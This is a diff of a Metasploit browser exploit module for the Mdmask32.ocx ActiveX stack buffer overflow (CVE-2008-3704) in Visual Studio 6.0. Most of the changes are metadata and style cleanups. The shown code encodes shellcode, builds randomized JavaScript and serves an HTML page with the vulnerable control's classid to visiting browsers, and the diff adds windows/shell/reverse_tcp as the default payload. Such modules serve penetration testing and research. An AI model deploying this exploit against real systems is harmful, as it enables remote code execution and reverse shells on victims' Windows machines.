@@ -12,40 +12,58 @@ def initialize(info = {})
1212 super (
1313 update_info (
1414 info ,
15- 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow' ,
15+ 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow' ,
1616 'Description' => %q{
17- This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
18- When passing a specially crafted string to the Mask parameter of the
19- Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
20- code.
17+ This module exploits a stack buffer overflow in Microsoft Visual
18+ Studio 6.0. When passing a specially crafted string to the Mask
19+ parameter of the Mdmask32.ocx ActiveX Control, an attacker may
20+ be able to execute arbitrary code.
2121 } ,
2222 'License' => MSF_LICENSE ,
23- 'Author' => [ 'koshi' , 'MC' ] ,
23+ 'Author' => [
24+ 'Symantec' , # Discovery and PoC
25+ 'koshi' , # Exploit
26+ 'MC' # Metasploit
27+ ] ,
2428 'References' => [
29+ [ 'BID' , '30674' ] ,
2530 [ 'CVE' , '2008-3704' ] ,
31+ [ 'CWE' , '119' ] ,
32+ [ 'EDB' , '6244' ] ,
33+ [ 'EDB' , '6317' ] ,
2634 [ 'OSVDB' , '47475' ] ,
27- [ 'BID ' , '30674 ' ] ,
28- [ 'MSB ' , 'MS08-070 ' ]
35+ [ 'MSB ' , 'MS08-070 ' ] ,
36+ [ 'URL ' , 'https://exchange.xforce.ibmcloud.com/vulnerabilities/44444 ' ] ,
2937 ] ,
3038 'DefaultOptions' => {
31- 'EXITFUNC' => 'process' ,
39+ 'PAYLOAD' => 'windows/shell/reverse_tcp' ,
40+ 'EXITFUNC' => 'process'
3241 } ,
3342 'Payload' => {
3443 'Space' => 1024 ,
35- 'BadChars' => "\x00 " ,
44+ 'BadChars' => "\x00 "
3645 } ,
3746 'Platform' => 'win' ,
47+ 'Arch' => [ ARCH_X86 ] ,
3848 'Targets' => [
39- [ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2' , { 'Ret' => '' } ]
49+ [
50+ 'Windows XP x86 SP0-SP3 IE 6.0 SP0-SP3' , { }
51+ ]
4052 ] ,
4153 'DisclosureDate' => '2008-08-13' ,
42- 'DefaultTarget' => 0
54+ 'DefaultTarget' => 0 ,
55+ 'Notes' => {
56+ 'AKA' => [ 'Masked Edit Control Memory Corruption Vulnerability' ] ,
57+ 'Stability' => [ CRASH_SERVICE_DOWN ] ,
58+ 'SideEffects' => [ ] ,
59+ 'Reliability' => [ UNRELIABLE_SESSION ]
60+ }
4361 )
4462 )
4563
4664 register_options (
4765 [
48- OptString . new ( 'URIPATH' , [ true , " The URI to use." , "/" ] )
66+ OptString . new ( 'URIPATH' , [ true , ' The server URI path to use.' , '/' ] )
4967 ]
5068 )
5169 end
@@ -58,33 +76,32 @@ def check_dependencies
5876 use_zlib
5977 end
6078
61- def on_request_uri ( cli , request )
79+ def on_request_uri ( cli , _request )
6280 # Re-generate the payload.
63- return if ( ( p = regenerate_payload ( cli ) ) == nil )
81+ return if ( ( regenerate_payload ( cli ) ) . nil? )
6482
6583 # Encode the shellcode.
6684 shellcode = Rex ::Text . to_unescape ( payload . encoded , Rex ::Arch . endian ( target . arch ) )
6785
6886 # Create some nops.
6987 nops = Rex ::Text . to_unescape ( make_nops ( 4 ) )
7088
71- # Randomize the javascript variable names.
72- vname = rand_text_alpha ( rand ( 100 ) + 1 )
73- var_i = rand_text_alpha ( rand ( 30 ) + 2 )
74- rand1 = rand_text_alpha ( rand ( 100 ) + 1 )
75- rand2 = rand_text_alpha ( rand ( 100 ) + 1 )
76- rand3 = rand_text_alpha ( rand ( 100 ) + 1 )
77- rand4 = rand_text_alpha ( rand ( 100 ) + 1 )
78- rand5 = rand_text_alpha ( rand ( 100 ) + 1 )
79- rand6 = rand_text_alpha ( rand ( 100 ) + 1 )
80- rand7 = rand_text_alpha ( rand ( 100 ) + 1 )
81- rand8 = rand_text_alpha ( rand ( 100 ) + 1 )
82- rand9 = rand_text_alpha ( rand ( 100 ) + 1 )
83- rand10 = rand_text_alpha ( rand ( 100 ) + 1 )
84- rand11 = rand_text_alpha ( rand ( 100 ) + 1 )
85- randnop = rand_text_alpha ( rand ( 100 ) + 1 )
89+ # Randomize the JavaScript variable names.
90+ var_i = rand_text_alpha ( 2 ..30 )
91+ rand1 = rand_text_alpha ( 1 ..100 )
92+ rand2 = rand_text_alpha ( 1 ..100 )
93+ rand3 = rand_text_alpha ( 1 ..100 )
94+ rand4 = rand_text_alpha ( 1 ..100 )
95+ rand5 = rand_text_alpha ( 1 ..100 )
96+ rand6 = rand_text_alpha ( 1 ..100 )
97+ rand7 = rand_text_alpha ( 1 ..100 )
98+ rand8 = rand_text_alpha ( 1 ..100 )
99+ rand9 = rand_text_alpha ( 1 ..100 )
100+ rand10 = rand_text_alpha ( 1 ..100 )
101+ rand11 = rand_text_alpha ( 1 ..100 )
102+ randnop = rand_text_alpha ( 1 ..100 )
86103
87- content = %Q |
104+ content = %|
88105<html>
89106 <script language="javascript">
90107 var #{ rand1 } ='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
@@ -110,7 +127,7 @@ def on_request_uri(cli, request)
110127</html>
111128 |
112129
113- print_status ( "Sending #{ self . name } " )
130+ print_status ( "Sending #{ name } " )
114131
115132 # Transmit the response to the client
116133 send_response_html ( cli , content )
0 commit comments